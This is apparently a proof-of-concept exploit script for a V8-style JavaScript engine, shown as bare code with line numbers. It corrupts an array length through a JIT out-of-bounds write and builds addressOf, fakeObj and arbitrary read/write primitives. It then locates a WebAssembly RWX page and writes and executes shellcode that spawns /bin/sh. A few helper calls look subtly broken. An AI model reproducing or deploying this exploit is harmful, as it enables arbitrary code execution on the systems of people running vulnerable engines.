1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main;
var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); var u32 = new Uint32Array(f64.buffer);
array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double = new Float64Array(new BigUint64Array([0x22222222n]).buffer)[0];
function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } function hex(i) { return i.toString(16).padStart(8, "0"); }
function fakeObj(addr_to_fake) { double_array[0] = itof(addr_to_fake + 1n); double_array[1] = obj_map; let faked_obj = double_array[0]; return faked_obj; }
function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; double_array[8] = array_map; let obj_addr = ftoi(obj_array[0]) - 1n; double_array[8] = obj_map; return obj_addr; }
function read64(addr) { fake_array[1] = itof(addr - 0x8n + 0x1n); return fake_object[0]; }
function write64(addr, data) { fake_array[1] = itof(addr - 0x8n + 0x1n); fake_object[0] = itof(data); }
function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8); var data_view = new DataView(data_buf); var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n; var lov = d2u(read64(buf_backing_store_addr_lo))[0]; var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]); var hiv = d2u(read64(buf_backing_store_addr_up))[1]; var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]); var buf_backing_store_addr = ftoi(u2d(lov, hiv)); console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); for (let i = 0; i < shellcode.length; ++i) data_view.setFloat64(i * 8, itof(shellcode[i]), true); }
function trigger(array, oob) { var x = array.length; x -= 67108861; x *= 10; x -= 9; oob[x] = length_as_double; }
for (let i = 0; i < 30000; ++i) { vul = [1.1, 2.1]; pad = [vul]; double_array = [3.1]; obj = {"a": 2.1}; obj_array = [obj]; trigger(giant_array, vul); }
var array_map = double_array[1]; var obj_map = double_array[8];
var fake_array = [ array_map, itof(0x4141414141414141n) ];
fake_array_addr = addressOf(fake_array); console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr)); fake_object_addr = fake_array_addr + 0x48n; var fake_object = fakeObj(fake_object_addr); var wasm_instance_addr = addressOf(wasmInstance); console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr)); var rwx_page_addr = read64(wasm_instance_addr + 0x68n); console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ];
copy_shellcode_to_rwx(shellcode, rwx_page_addr); f();
|